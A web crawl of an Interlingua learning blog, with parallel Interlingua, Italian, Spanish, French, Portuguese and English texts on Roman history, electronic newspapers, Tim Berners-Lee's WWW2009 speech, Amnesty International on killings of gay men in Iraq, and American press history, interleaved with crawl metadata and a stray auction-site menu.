supplementari in interlingua.\nLe confirmation del textos supplementari essera in le prime parte del capitulos subsequente. Nota que iste sequentia de textos es bidirectional, e si vostre lingua native es le italiano, vos pote studiar ambe versiones de iste textos pro apprender interlingua.\nIn \"Panorama\", maio-junio 2007, Thomas Breinstrup diceva que como parlator de danese, un parve lingua germanic, ille ha trovate interlingua multo utile proque su patronos lexicogrammatic le adjuva quando ille essaya a exprimer se in anglese, francese, e espaniol. E si vos studia le textos de iste documentos, le patronos commun de expression inter iste linguas se revelara a vos multo facilemente.\nIo vos invita a usar vostre talentos inductive pro imitar lo que Champolion faceva con le petra Rosetta. Ma le serie de petras Rosseta que io ha preparate es plus facile que le petra que Champolion usava pro decifrar le scriptura del egyptianos ancian. Mi proprie \"petras\" ha essite designate specialmente pro facilitar le processo de comparar e apprender inductivemente interlingua e su linguas fonte. (Harleigh Kyson Jr.)\n...............\n(1) Presentation de un texto in interlingua:\nSecundo le legenda, Romulo e Remo, le duo filios gemine del virigne vestal Rhea Sylvia e del deo Marte, abandonate sur le ripa del Tibere, esseva allactate per un lupa. Un die, un pastor les trovava e les portava a su casa.\nDevenite grande, le duo fratres fundava un citate sur le collina Palatin. Pro determinar qui debeva governar, illes faceva un concurso. Romulo vinceva e deveniva le prime rege del citate, que ille nominava Roma.\nProque a Roma il non habeva feminas, pro popular le citate Romulo faceva un festa e invitava le population vicin. Durante le nocte, le juvenes roman abduceva le pueras sabin.\nUn guerra comenciava proque le sabinos voleva le retorno de lor feminas. Finalmente le feminas sabin convinceva le duo populos a facer le pace. Romulo e le rege sabin governava conjunctemente. Post Romulo, sex altere reges governava le citate usque 509 a.C. quando esseva fundate le republica.\n(2) Version del texto in italiano:\nSecondo la leggenda, Romolo e Remo, i due gemelli figli della vestale Rea Silvia e del dio Marte, abbandonati sulle rive del Tevere, furono allattati da una lupa. Un giorno, un pastore li trovò e li portò a casa sua.\nDiventate grandi, i due fratelli fundarono una città sulle colle Palatino. Per sapere chi deve governare decisero di fare una gara. Romolo vinse e diventò il primo re della città, che egli chiamò Roma.\nPoichè a Roma non ci erano donne, per populare la città Romolo fece una festa ed invitò le popolazione vicine. Durante la notte, i giovani romani rapirono le ragazze sabine.\nScoppiò la guerra perchè i sabini rivollero le loro donne. Alla fine le sabine convinsero i due popoli a fare la pace. Romolo ed il re sabino governarono insieme. Dopo Romolo, altri sei re governarono la città fina al 509 a.C. quando venne fondata le repubblica.\n(3) Texto supplementari in italiano:\nLe scoperte archeologiche dicono que nel secolo VII a.C. gli abitanti delle colle Palatino formarano una sola communità: La Roma primitiva. La città si sviluppò perchè era vicina al fiume Tevere, che era navigabile fino al mar Tirreno.\nInoltre, Roma era situata tra due regioni commerciali multo ricche: L'Etruria e la Campania. Quando il mare era in tempestà i mercanti, per transportare le loro merci, passarono per Roma.\nLa città non era troppo lontana del mare e ciò facilitò i commerci. I romani prendevano il sale delle saline della costa e lo vendevano alle populazione interne, passando per la via che si chiamava Salaria (\"via del sale\").\nMolte persone venero a Roma dalle regione vicine, attratte dallo sviluppo della città. Durante il periodo monarchico Roma occupava il territorio fino al mare e diventò un famoso centro commerciale.\n(4) Si vos ha besonio de adjuta extra con le texto supplementari, vos lo trovara in le prime parte del proxime capitulo.\nPosted by hkyson at 2:24 PM\n(Languages of this post: Interlingua, Italian)\nVersion in interlingua del texto supplementari de Parte 1:\nDiscoperimentos archeologic dice que in le seculo VII a.C. le habitantes del collino Palatin formava un sol communitate: Le Roma primitive. Le citate se disveloppava proque illo esseva presso al flumine Tibere, que esseva navigabile usque le mar Tyrrhen.\nIn ultra, Roma esseva situate intra duo regiones commercial multo ric: Etruria e Campania. Quando le mar esseva in tempestate, le mercantes, pro transportar lor mercantias, passava trans Roma.\nLe citate non esseva troppo distante del mar, e illo facilitava le commercio. Le romanos prendeva le sal del salinas del costa e lo vendeva al population interne, passante trans le via que se nominava Salaria (\"via del sal\").\nMulte personas veniva a Roma del regiones vicin, attrahite per le disveloppamento del citate. Durante le periodo monarchic Roma occupava le territorio usque le mar e deveniva un famose centro commercial.\n(1) Presentation de un nove texto in interlingua:\nGaio Julio Caesare nasceva a Roma le 13 de julio in le anno 100 a.C. de un ex le plus nobile familias patrician de Roma: Le \"Gente Julia\".\nAl fin de su annos juvene ille participava in le vita politic. Ille deveniva quaestore, aedile, pontifice maxime e praetore. In 61 a.C. ille obteneva le commando militar de Espania, ubi ille demonstrava su capacitates militar e su valor.\nA causa de omne isto, quando ille retornava de Espania ille esseva nominate consule. In 60 a.C. con Pompeio e Crasso, duo homines politic multo famose a Roma, ille formava le prime triumvirato: Le tres decideva governar sin le appoio del senato.\nPostea Caesare conquireva le Gallia septentrional, que deveniva un provincia roman. Caesare obteneva gloria e fama. Jelose del successo de Caesare, Pompeio (Crasso habeva morite) se alliava con le Senato contra ille. Isto produceva le guerra civil. Caesare vinceva e retornava a Roma, durante que Pompeio moriva in Egypto, occidite per le rege Ptolomaeo.\nDesde iste momento Caesare assumeva le titulo de dictator pro omne su vita e de commandante del fortias militar, e ille governava prudentemente, inaugurante multe reformas. De facto ille dava derectos de citatano roman a Gallia e a altere provincias foras de Italia; ille autorisava le uso del moneta roman in omne le provincias; ille dava terrenos in le nove colonias al veteranos e distribueva terrenos pro cultivar al povres de Roma.\nMa le reforma le plus importante esseva al calendario (nominate julian) in le qual le anno es dividite in 364 dies e 6 horas.\nA causa del concentration de omne le poteres in su manos, Caesare creava pro se multe inimicos, sia intra le populo, sia intra le senato e le nobilitate. Al idos de Martio (le 15 martio) in 44 a.C. Caesare esseva victima de un conspiration organisate de un parte per le Senato, per le Nobilitate, e per Bruto, su filio adoptive.\n(2) Version del texto in italiano:\nGaio Giulio Cesare nacque a Roma il 13 lulio dell'anno 100 a.C. da una delle più nobile famiglie patrizie di Roma: La \"gens Julia\".\nFin da giovane partecipò alla vita politica. Diventò questore, edile, pontefice massimo e pretore. Nel 61 a.C. ottenne il commando militare della Spagna dove dimostrò le sue capacità militarie e il suo valore.\nPer queste ragioni, quando ritornò dalla Spagna fu nominato console. Nel 60 a.C. con Pompeo e Crasso, duo uomini politici molto famosi a Roma, formò il primo triumvirato: i tre decisero de governare senza l'appoggio del senato.\nPoi Cesare conquistò la Gallia settentrionale che diventò provincia romana. Cesare ottenne gloria e fama. Geloso del successo de Cesare, Pompeo (Crasso era morto) si alleò con il Senato contro di lui. Questo produsse la guerra civile. Cesare vinse e ritornò a Roma, mentre Pompeo muorì in Egitto, ucciso dal re Tolomeo.\nDa questo momento Cesare assunse il titolo de dittatore a vita e di commandante delle forze militari, e egli governò saggiamente attuando molte riforme. Infatti, diede cittadinanza romana alla Gallia e ad altre province fuori d'Italia; autorizzò l'uso della moneta romana a tutte le province, diede proprietà terriera nelle nuove colonie ai veterani e distribuì le terre da coltivare ai poveri di Roma.\nMa le riforma più importante fu quella del calendario (detto giuliano) in cui l'anno è diviso in 364 giorni e 6 ore.\nA causa della concentrazione de tutti i poteri nelle sue mani, Cesare si creò molti nemici, sia tra il popolo che tra il senato e la nobilità. Alle idi de marzo (il 15 marzo) del 44 a.C. Cesare fu vittima di una congiura organizzata da una parte del Senato, dalla nobilità e da Bruto, suo figlio adottivo.\n(3) Texto supplementari in italiano:\nDopo la morte de Cesare, per circa due secoli, Roma visse un periodo di tranquillità e di prosperità chiamato \"pax romana\". Ottaviano Augusto, nipote di Cesare, iniziò [alt-0242] questo processo che fece dell'Italia e di Roma il centro del commercio, della cultura e dell'arte del Mediterraneo.\nEgli governò con el consenso del Senato che gli diede l'imperium (commando) proconsolare, cioè il potere assoluto su tutto l'imperio, e anche il titolo di imperatore. Augusto favorì lo sviluppo del commercio con la costruzione in tutte le province di ponti, strade, porti e acquedotti e abbellì le città con strade pavimentate, terme pubbliche, anfiteatri e monumenti.\n(4) Si vos ha besonio de adjuta extra con le texto supplementari, vos lo trovara in le prime parte del proxime capitulo.\nPosted by hkyson at 2:03 PM\n(Languages of this post: Interlingua, Italian)\nVersion in interlingua del texto supplementari de Parte 2:\nPost le morte de Caesare, pro circa duo seculos, Roma viveva in un periodo de tranquilitate e de prosperitate, nominate le \"pax romana\". Octaviano Augusto, le nepote de Caesare, initiava un processo que faceva Italia e Roma le centro del commercio, del cultura, e del arte del Mediterraneo.\nIlle governava con le consentimento del Senato, que dava a ille le \"imperio\" (commando) praeconsular, in altere parolas, le poter absolute sur omne le imperio, e anque le titulo de imperator. Augusto favoriva le disveloppamento del commercio con le construction in omne le provincias de pontes, stratas, portos, e aqueductos, e ille belleficava le citate con stratas pavimentate, banios public, amphitheatros, e monumentos.\n(1) Presentation de un nove texto in interlingua:\nAugusto portava le pace al stato roman al diverse gruppos que habeva participate in le guerra civil: senatores, equites, plebes urban, e soldatos.\nIlle obteneva lor appoio providente pro le exigentias de cata gruppo: Al veteranos ille concedeva premios in moneta e in terras e permitteva que le equites deveniva officiales; al nobiles de alicun provincias ille concedeva derectos de citatano; ille faceva hereditari le officio del senatores.\nAttention particular esseva dedicate al classes basse. Le terrenos public e le minas passava al controlo del imperator, qui assi dava labor al disoccupatos.\nMulte personas trovava travalio anque in le construction de obras public. Le povres viveva al expensa del Stato, gratias al distributiones gratuite di victualia.\nLe divertimento esseva assecurate. Le circo esseva le loco ubi habeva loco concursos de carros tirate per cavallos, combattos inter homines armate contra animales feroce, e battalias naval in arenas aggrandite specialmente pro illos.\nLe sclavos, cuje numeros (reduceva)\/(stava a reducer) a causa del carentia de guerras de conquesta, esseva neglegite per Augusto, qui inaugurava leges pro impedir a illes le possibilitate de devenir libere.\nAugusto moriva in 14 p.C. Durante su imperio viveva Jesus Christo e esseva initiate le ephoca christian.\n(2) Version del texto in italiano:\nAugusto portò la pace nello stato romano tra i vari gruppi que habevano partecipato alle guerre civili: senatori, cavalieri, plebi urbani, soldati.\nOttenne il loro appogio venendo incontro alle esigenze de ogni gruppo: ai veterani concesse premi in denaro e in terre e permise ai cavalieri di diventare ufficiali; ai nobili di alcune province concesse la citadinanza; rese ereditaria la carica dei senatori.\nParticolare attenzione era dedicata ai ceti populari. I terreni pubblici e le miniere passarono sotto il controllo dell'imperatore che dette così lavoro ai disoccupati.\nMolte persone trovavano lavoro anche nella costruzione di opere pubbliche. I poveri vivevano a spese dello Stato, grazie alle distribuzione gratuite di viveri.\nIl divertimento era sempre assicurato. Il circo era il luogo dove si svolgevano pericolose gare di corsa su bighe tirate da cavalli, combattimente tra uomini armati contro bestie feroci, battaglie navali in arene appositamente allagate.\nGli schiavi, che erano in dimunuizione a causa della mancanza di guerre di conquista, furono trascurati da Augusto, che fece delle leggi per impedire loro la possibiità di diventare liberi.\nAugusto muorì nel 14 d.C. Sotto di lui fu nato Gesù Cristo. Fu initiata l'era cristiana.\n(3) Fin de iste serie de textos.\nPosted by hkyson at 1:46 PM","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009_02_01_archive.html","date":"2017-02-23T18:33:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171209.83\/warc\/CC-MAIN-20170219104611-00040-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.5777359009,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"ina_Latn_score\": 0.5777359008789062, \"ita_Latn_score\": 0.07279472798109055, \"por_Latn_score\": 0.0583176352083683, \"spa_Latn_score\": 0.043305687606334686, \"srd_Latn_score\": 0.036516714841127396, \"vec_Latn_score\": 0.020851047709584236, \"lmo_Latn_score\": 0.0134590370580554, \"cbk_Latn_score\": 0.013316405937075615, \"eng_Latn_score\": 0.011182157322764397, \"lat_Latn_score\": 0.01025486271828413}","num_words":21484,"character_repetition_ratio":0.035,"word_repetition_ratio":0.009,"special_characters_ratio":0.191,"stopwords_ratio":0.033,"flagged_words_ratio":0.0,"lang_id_score":0.59,"perplexity_score":2432.9,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite mini escavatoriAste per le vendite escavatori cingolatiAste per le vendite escavatori gommatiAste per le vendite terneAste per le vendite trencherAste per le vendite escavatori per movimentazione » Aste per le vendite mini escavatori TEREXAste per le vendite BOBCATAste per le vendite CATERPILLARAste per le vendite IHIAste per le vendite JCBAste per le vendite KOMATSUAste per le vendite KUBOTAAste per le vendite NEUSONAste per le vendite TAKEUCHIAste per le vendite VOLVOAste per le vendite YANMAR","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-miniescavatore-TEREX--c7tk2390tm3439.html","date":"2017-02-23T14:03:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171171.24\/warc\/CC-MAIN-20170219104611-00035-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.8155505657,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.8155505657196045, \"ita_Latn_score\": 0.06426321715116501, \"frp_Latn_score\": 0.04284526780247688, \"nap_Latn_score\": 0.041062936186790466, \"lmo_Latn_score\": 0.017472347244620323}","num_words":171,"character_repetition_ratio":0.407,"word_repetition_ratio":0.012,"special_characters_ratio":0.162,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":0.965,"perplexity_score":2373.6,"cluster_detection":-1} +{"text":"Wednesday, April 29, 2009\n(Languages of this post: Interlingua, French, English)\nLe jornales ha essite disponibile in Internet pro multe tempore. Ma pro leger durante que on mangia le jentaculo o viagia in le metro, on ha essite limitate a leger jornales traditional con lor grande paginas, le quales es plus difficile a arrangiar se que le paginas del libros, que es multo plus parve e plus facile a manipular.\nTosto omne isto essera in le passato. Hodie le lectores del jornal flaminge \"De Tijd\" ha le possibilitate de leger un jornal electronic presentate in le forma de folios plastic de circa 16 x 22 cm e de solmente 0,3 mm de spissor, plus tenue que le papiro mesme.\nLe usatores pote discargar omne le edition quotidian o haber nove informationes continuemente. Si on tocca le parte basse del schermo, le paginas appare como in un jornal normal.\nIn Francia, le jornal \"Les Échos\" sta a preparar un simile projecto pro le anno proxime. Le objectivo es le provision de un mixtura del edition sur papiro e del edition sur le Rete, con un jornal personalisate. E si vos face un viage, il es possibile stockar usque un mense de publicationes. Iste tipo de lectura es plus agradabile que le lectura sur le schermo de un computator.\nOmne isto non esserea possibile sin un systema de visualisation. Secundo Phillips, le inventor del systema in collaboration con E-Ink, le pionero American del papiro electronic, le contrasto es simile a illo sur le papiro. A differentia del schermos de crystales liquide, iste technologia non ha besonio de un fonte de lumine integrate. De plus, le texto es legibile desde omne angulos. Eventualmente, il essera mesmo possibile integrar video a in le systema.\n---\nLes journaux sont disponibles sur l'Internet depuis longtemps. Mais à la lecture tout en mangeant le petit déjeuner ou en voyage dans le métro, l'un a été limité à la lecture des journaux traditionnels avec leurs grandes pages, qui sont plus difficiles à gérer que les pages des livres, qui sont beaucoup plus petites et plus faciles à manipuler.\nTout ceci sera bientôt fini. Aujourd'hui, les lecteurs du journal flamand \"De Tijd\" ont la possibilité de lire un journal électronique, qui se présente sous la forme de feuilles de plastique d'environ 16 x 22 cm, et de seulement 0,3 mm d'épaisseur, encore plus fin que le vrai papier!\nL'utilisateur peut télécharger l'édition du jour, ou avoir des informations en continu. En appuyant sur le bas de l'écran, les pages défilent comme pour un journal normal.\nEn France, le quotidien \"Les Échos\" prévoit le lancement d'un produit similaire pour l'an prochain. Le but est de proposer un mélange de l'édition papier et de l'édition Internet, avec un journal personnalisable. Et si vous partez en voyage, il est possible de stocker jusqu'à un mois de publications. La lecture est plus agréable que sur un ordinateur.\nTout cela ne serait pas possible sans un système d'affichage performant. Selon Philips, l'inventeur du système en collaboration avec E-Ink, le pionnier américain du papier électronique, le contraste est semblable à celui qu'on a sur le papier. Car contrairement aux écrans à cristaux liquides, cette technologie n'a pas besoin d'une source de lumière intégrée. De plus, le texte est lisible sous tous les angles. A terme, il sera même possible d'y intégrer de la vidéo.\n---\nNewspapers have been available on the Internet for a long time. But for reading while eating breakfast or traveling on the subway, people have been limited to reading traditional newspapers with their large pages, which are more difficult to cope with than the pages of books, which are much smaller and easier to handle.\nAll that will soon be over. Today readers of Flemish newspaper \"De Tijd\" have had the option of reading an electronic newspaper, which comes in the form of plastic sheets about 16 x 22 cm, and only 0.3 mm thick, thinner than paper itself!\nThe user can download the complete daily edition or newly published information. By pressing the bottom of the screen, the pages scroll up like in a normal newspaper.\nIn France, the daily \"Les Echos\" is preparing a similar product for next year. The goal is to offer a mixture of paper and Internet publishing to produce a customizable newspaper. And if you should travel, you can store up to a month's worth of texts. Reading them is more enjoyable than on a computer.\nAll this would not be possible without a working display system. According to Philips, the developer of the system in collaboration with E-Ink, the American pioneer of electronic paper, the contrast is similar to what we have on paper. Unlike liquid-crystal screens, this technology does not need an integrated light source. Moreover, the text is readable from all angles. Eventually it will even be possible to integrate video into the system.\nPosted by hkyson at 7:06 PM\nMonday, April 27, 2009\n(Languages of this post: Interlingua, Spanish, English)\nLe inventor del World Wide Web, Sir Tim Berners-Lee, diceva que le proxime passo in le evolution del Rete es eliminar omne le barrieras contra le fluxo libere de su information. Illo esseva le puncto central de su discurso inaugural del 18e Conferentia International de Internet, le WWW2009, in Madrid.\n\"Le Web 3.0 es in realitate como le Web 2.0 ma sin muros\", diceva le physico Britannic, que in 1989 proponeva le creation del Web como forma efficiente de compartir documentos in le laboratorio de particulas del Instituto Europee de Investigation Nuclear, CERN, con sede in Geneva.\nQuando ille parlava sur le proxime passos a facer, Tim Berners-Lee accentuava le importantia de portar le Web al 80% del population del mundo que totevia non lo usa. \"Nos ha un responsibilitate\", diceva ille, \"pro crear un platteforma pro le usuarios del futuro que essera completemente sin prejudicio sur como illes va a voler usar lo. Il anque es essential facer le cosas plus facile e plus efficiente pro nove usarios in le futuro\".\n\"Il anque essera importante\", diceva ille, \"que le telefonos cellular e altere apparatos portabile ha un facile accesso a omne le sitios in le Web sin impedimentos technic\". Ille anque diceva que in le Internet del futuro le logiciel no se immagazinara in computatores individual, ma in servitores dispersate per omne le Rete, in lo que se cognosce como le \"nube de computation\" o \"computer cloud\" in anglese. Ille accentuava que le usuarios\/usatores de Internet debe haber accesso a omne le information in le cyberspatio que se refere a illes e que illes debe haber formas facile de verificar como se utilisa iste information.\nPro arrivar a ille e altere objectivos que facera del Web un loco plus secur, Berners-Lee insiste que le providitores de connexiones a Internet provide un servicio \"munde como le aqua\". \"Il es multo importante\", diceva ille, \"que iste companias offere un connexion sin spiar e sin discrimination exactemente como le companias de aqua offere le mesme aqua munde al mesme precios a omne lor clientes\".\nIlle anque moneva contra le ingerentia de diverse governamentos (inter illos illo del Regno Unite e del Statos Unite, que ha accesso a determinate datos sur le uso de Internet per usarios individual), assi como le ingerentia de diverse companias que limita le maniera in que lor clientes pote utilisar le Web.\n---\nEl inventor de la World Wide Web, Sir Tim Berners-Lee, señaló que el próximo paso en la evolución de la Red es eliminar todas las barreras para contra el flujo libre de su información. Ése fue el punto central de su discurso inaugural de la 18º Conferencia Internacional de Internet, la WWW2009, en Madrid.\n\"La Web 3.0 es en realidad como la Web 2.0, pero sin muros\", dijo el físico británico, que en 1989 propuso la creación de la Web como forma eficiente de compartir documentos en el laboratorio de partículas del Instituto Europeo de Investigación Nuclear, CERN, con sede en Ginebra.\nCuando habló sobre los próximos pasos que deben tomarse, Tim Berners-Lee hizo hincapié en la importancia de llevar la Web al 80% de la población del mundo que aún no la usa. \"Tenemos una responsabilidad\", dijo, \"para crear una plataforma para los usuarios del futuro que será completamente sin perjuicio sobre cómo van a querer usarlo. También es esencial hacerlo más fácil y más eficiente para los nuevos usuarios del futuro\".\n\"También será importante\", dijo, \"que los teléfonos celulares y otros dispositivos portátiles cuenten con un fácil acceso a todos los sitios en la Web sin impedimentos técnicos\". Dijo también que en el Internet del futuro el software no se almacenará en computadoras individuales, sino en servidores repartidos por toda la Red, en lo que se conoce como la \"nube de computación\" o \"computer cloud\" en inglés. Hizo hincapié en que los usuarios de Internet deben tener acceso a toda la información en el ciberespacio que se refiera a ellos y que deben tener formas fáciles de comprobar cómo se utiliza esta información.\nPara llegar a esa y otras metas que hagan de la Web un lugar más abierto, democrático, descentralizado y a la vez seguro, Berners-Lee dijo que los proveedores de conexiónes a Internet deben ofrecer un servicio \"limpio como el agua\". \"Es muy importante\", dijo, \"que estas empresas ofrezcan una conexión sin espiar y sin discriminación así como las compañías de agua ofrecen la misma agua limpia a los mismos precios a todos sus clientes\".\nTambién advirtió en contra de la injerencia de varios gobiernos (entre ellos los del Reino Unido y de los Estados Unidos, que tienen acceso a determinados datos sobre el uso de Internet por los usuarios individuals), así como la injerencia de varias empresas que limitan la manera en que sus clientes pueden usar la Web.\n---\nThe inventor of the World Wide Web, Sir Tim Berners-Lee, said that the next step in the evolution of the Web is to eliminate all barriers to the free flow of its information. That was the central point of his opening speech to the 18th International Conference of the Internet, WWW2009, in Madrid.\n\"The Web 3.0 is actually like the Web 2.0, but without walls,\" said the British physicist, who in 1989 proposed the creation of the Web as an efficient way to share documents in the particles lab of the European Institute for Nuclear Research, CERN , based in Geneva.\nWhen he spoke about the next steps to be taken, Tim Berners-Lee emphasized the importance of bringing the Web to 80% of the population of the world that still does not use it. \"We have a responsibility,\" he said, \"to create a platform for future users that will be completely without prejudice about how they are going to want to use it. It is also essential to make it easier and more efficient for new users in the future.\"\n\"It will also be important,\" he said, \"that cell phones and other similar portable devices have easy access to all the sites on the web with no technical impediments.\" He also said that in the Internet of the future, software will be stored not on individual computers but on servers scattered throughout the Internet, in what is known as the \"computing cloud.\" He emphasized that Internet users must have access to all information in cyberspace that relates to them them and that they should have easy ways of verifying how this information is used.\nTo reach this and other goals that make the Web a more open, democratic, decentralized, and simultaneously secure space, Berners-Lee insisted that Intenet-connection providers must offer a service that is \"as clean as water.\" \"It is very important,\" he said, \"that these companies provide a connection without spying and without discrimination just as water companies offer the same clean water at the same prices to all their customers.\"\nHe also warned against the interference by various governments (among them those of the United Kingdom and the United States, which have access to certain data about the use of the Internet by individual users), as well as commercial interference by various companies that limit the ways that their customers can use the Web.\nPosted by hkyson at 11:51 PM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nLe organization non-governamental de defensa del derectos human Amnestia International inviava un littera al prime ministro de Iraq, Nouri Al-Maliki, demandante que le governamento del pais face plus pro proteger le homosexuales iraqi.\nSecundo investigationes facite per iste organisation, in le ultime septimanas 25 homines, juvenes e adultos, esseva occidite in Baghdad proque illes esseva, o pareva esser, homosexual.\nIste investigationes revelava que militias armate Shiite, tanto como le tribos e le familias del victimas, es responsabile pro le morte de iste homines (tres corpores de homines gay esseva trovate in Baghdad le septimana passate, duo de illes accompaniate con pecias de papiro con le parola \"pervertito\").\nIn su littera, Amnestia International affirma que le mullahs del pais sta a incitar le violentia contra le membros del communitate gay iraqi e que le policia appoia e mesmo participa in iste violentia.\nLe organisation criticava le governamento Iraqi pro non condemnar iste homicidios e demandava que illo processa legalmente le personas responsabile pro iste crimines e offere protection efficace al homosexuales del pais.\n---\nLa organización no gubernamental de derechos humanos Amnistía Internacional envió una carta al Primer Ministro de Irak, Nouri al-Maliki, pidiendo que el gobierno del país haga más para proteger a los gays iraquíes.\nSegún investigaciones realizadas por esta organización en las últimas semanas, 25 hombres, jóvenes y adultos, fueron asesinados en Bagdad, porque eran, o parecían ser, homosexuales.\nEstas investigaciones revelaron que las milicias armadas chiítas, tanto como las tribus y las familias de las víctimas, son los responsables de las muertes de estos hombres (tres cuerpos de hombres homosexuales fueron encontrados en el distrito chiíta de Sadr City en Bagdad la semana pasada, dos de ellos con pedazos de papel con la palabra \"pervertido\").\nEn su carta, Amnistía Internacional dice que los líderes religiosos del país están alentando la violencia contra los miembros de la comunidad gay y la policía iraquí apoya e incluso participa en esta violencia.\nLa organización criticó al gobierno por no condenar los asesinatos y pidió que lleve a los responsables de los crímenes a la justicia y proporcione una protección eficaz a los homosexuales del país.\n---\nA organização não-governamental de defesa dos direitos humanos Anistia Internacional enviou uma carta ao primeiro-ministro do Iraque, Nouri Al-Maliki, pedindo que o governo do país faça mais para proteger os homossexuais iraquianos.\nDe acordo com investigações feitas por esta organização, nas últimas semanas, 25 homens, jovens e adultos, foram mortos em Bagdá porque eram, ou aparentavam ser, homossexuais.\nEstas investigações revelaram que milícias armadas xiitas, assim como as tribos e as famílias das vítimas, são responsáveis pela morte desses homens (três corpos de homens homossexuais foram encontrados no distrito xiita de Cidade Sadr, em Bagdá, na semana passada, dois deles acompanhados de pedaços de papel com a palavra \"pervertido\").\nNa sua carta, a Anistia Internacional afirma que os líderes religiosos do país estão incitando a violência contra os membros da comunidade gay iraquiano e que a polícia apoia e mesmo participa nesta violencia.\nA organização criticou o governo iraquiano por não condenar os assassinatos e pediu que leve os responsáveis pelos crimes à Justiça e ofereça proteção efetiva aos homossexuais do país.\n---\nThe non-governmental human rights organization Amnesty International sent a letter to the Prime Minister of Iraq, Nouri al-Maliki, demanding that the government of the country do more to protect gay Iraqis.\nAccording to investigations made by this organization in recent weeks, twenty-five men, young and old, were killed in Baghdad because they were, or seemed to be, homosexual.\nThese investigations have revealed that armed Shiite militias, as well as the tribes and families of the victims, are responsible for killing these men (three bodies of gay men were found last week in the Shiite district of Sadr City, with two of them bearing pieces of paper with the word \"pervert\").\nIn its letter, Amnesty International says that the religious leaders of the country are inciting violence against the members of the Iraqi gay community and that the police support and even participate in this violence.\nThe organization criticized the government for not condemning the murders and demanded that it prosecute those responsible for these crimes and provide effective protection to homosexuals in the country.\nPosted by hkyson at 11:20 PM\nSunday, April 26, 2009\n(Languages of this post: Interlingua, English)\nLe prime jornal publicate in lo que nunc es le Statos Unite esseva \"Publick Occurrences, both Forreign and Domestick\" (Eventos public, e estranie e domestic). Solmente un numero de iste jornal esseva publicate. On prohibeva le continuation de su publication a causa de tres rationes:\nPrimo, su redactor, Benjamin Harris, non obteneva permission pro publicar lo. Un secunde ration essava su criticismo del abuso de plure prisioneros francese qui habeva essite capturate per le alliatos indian del angleses. Le tertie ration esseva su speculationes sur le vita sexual del familia regal francese.\nPro evitar offensas contra functionarios colonial, jornales ulterior publicava articulos que veniva de jornales europee del epocha. Lor redactores evitava le publication de articulos sur le politica e politicas public.\nMa omne isto cambiava con le publication in Boston, Massachusetts, del \"New England Courant\" in 1721. Iste jornal accusava le governamento colonial, pro exemplo, de non facer assatis pro proteger le naves del epocha del depredationes de piratas.\nSu redactor, James Franklin, esseva arrestate, e ille non poteva continuar le publication de su jornal. Assi ille contractava su fratre plus juvene, Benjamin, pro esser su nove redactor. De iste maniera un famose Americano de ille epocha, Benjamin Franklin, comenciava su longe e distinguite carriera public.\nLe libertate del pressa nunc es protegite per le constitution American, ma le processo que resultava in iste garantia esseva lente e dolorose. Un processo juridic in New York in 1735 contribueva multo a iste processo. Peter Zenger, le redactor del \"Weekly Journal', habeva criticate le politicas del governator colonial, qui mandava que on le arrestava.\nZenger concedeva que ille habeva criticate le governator, ma ille se defendeva dicente que lo que ille habeva dicite sur le governator esseva le veritate. Su juratos absolveva Zenger de su \"crimine\" proque illes concludeva que vermente ille habeva publicate le veritate.\nAlicun jornales in le America colonial appoiava le governamento colonial anglese. Ma le criticismo de altere jornales contribueva multo al movimento contra le governamento colonial britannic que culminava in le Revolution American. Post ille guerra, le redactores del jornales del pais appoiava plure partitos politic e, convencite de lor nove protection constitutional, criticava le nove governamento american quando illes voleva.\nMa le governamento del nove nation a vices resisteva le libertate del pressa. Le lege contra sedition de 1798 criminalisava de novo le critica del governamento pro damnificar su prestigio in le oculos del publico. Tres annos plus tarde, Thomas Jefferson esseva elegite como le presidente del pais, e ille nullificava iste lege. Ille appoiava le pressa libre fortemente, dicente que si ille poteva decider si nos deberea haber un governamento sin jornales o jornales sin un governamento, ille appoiarea enthusiasticamente le continuation del existentia del jornales.\nIn le prime parte del seculo dece e nove, le precio de nostre jornales esseva 6 cents--troppo moneta pro multe travaliatores e immigrantes in le Statos Unite. Tunc in le decada inter 1830 e 1840 veniva jornales que costava solmente 1 cent, le \"penny press\". Iste jornales poteva esser vendite a un precio tan basse proque illos ganiava moneta per le vendita de anuncios a crescente gruppos de interprisas commercial. Pro augmentar lor circulation, le major parte de iste jornales publicava articulos sensationaliste sur problemas de crimine e le processamento de criminales per nostre systema legal--un practica que totevia es multo commun in le publication de jornales.\n(Le Newspaper Association of America dice que hodie venditas de publicitate commercial forma 80% del appoio economic pro nostre jornales. Ma iste venditas se reduceva per 16% le anno passate, e le organisation predice un nove cadita de 10% iste anno.)\nIn 1846 un gruppo de jornales de New York arrivava a un accordo pro sparniar moneta per combinar lor effortios pro colliger e distribuer articulos de novas, establiente un organisation que deveniva le \"Associated Press\". Le augmentante uso del telegrapho in ille epocha significava que nostre jornales poteva publicar information sur eventos recente in multe partes del pais.\nLe redactores del jornales del epocha sovente usava lor publicationes pro advocar nove politicas social. William Lloyd Garrison, pro exemplo, comenciava le publication de un jornal, \"The Liberator\", pro eliminar le sclavitude in le Statos Unite. In 1827 appareva le prime jornal publicate per afroamericanos, \"Freedom's Journal\". E gruppos de immigrantes comenciava a publicar jornales in lor linguas native.\nLe guerra civil american in le prime parte del decada inter 1860 e 1870 augmentava le demanda pro reporters. Post le guerra, le emphase editorial de nostre jornales cambiava lentamente verso le publication de informationes utile. Ma mesmo assi, illos habeva un influentia assatis significante sur le evolution de eventos e politicas social in le Statos Unite.\nIn 1883, Joseph Pulitzer comprava le \"New York World\" e lo usava pro meliorar conditiones pro le obreros e le povres del citate. Ille anque inaugurava le practica de jornalismo investigative. Un reporter famose de ille epocha, Nellie Bly, pro exemplo, investigava le tractamento cruel e inhuman de patientes in un manicomio in ille area.\nPulitzer habeva un competitor multo potente, William Randolph Hearst, qui publicava le 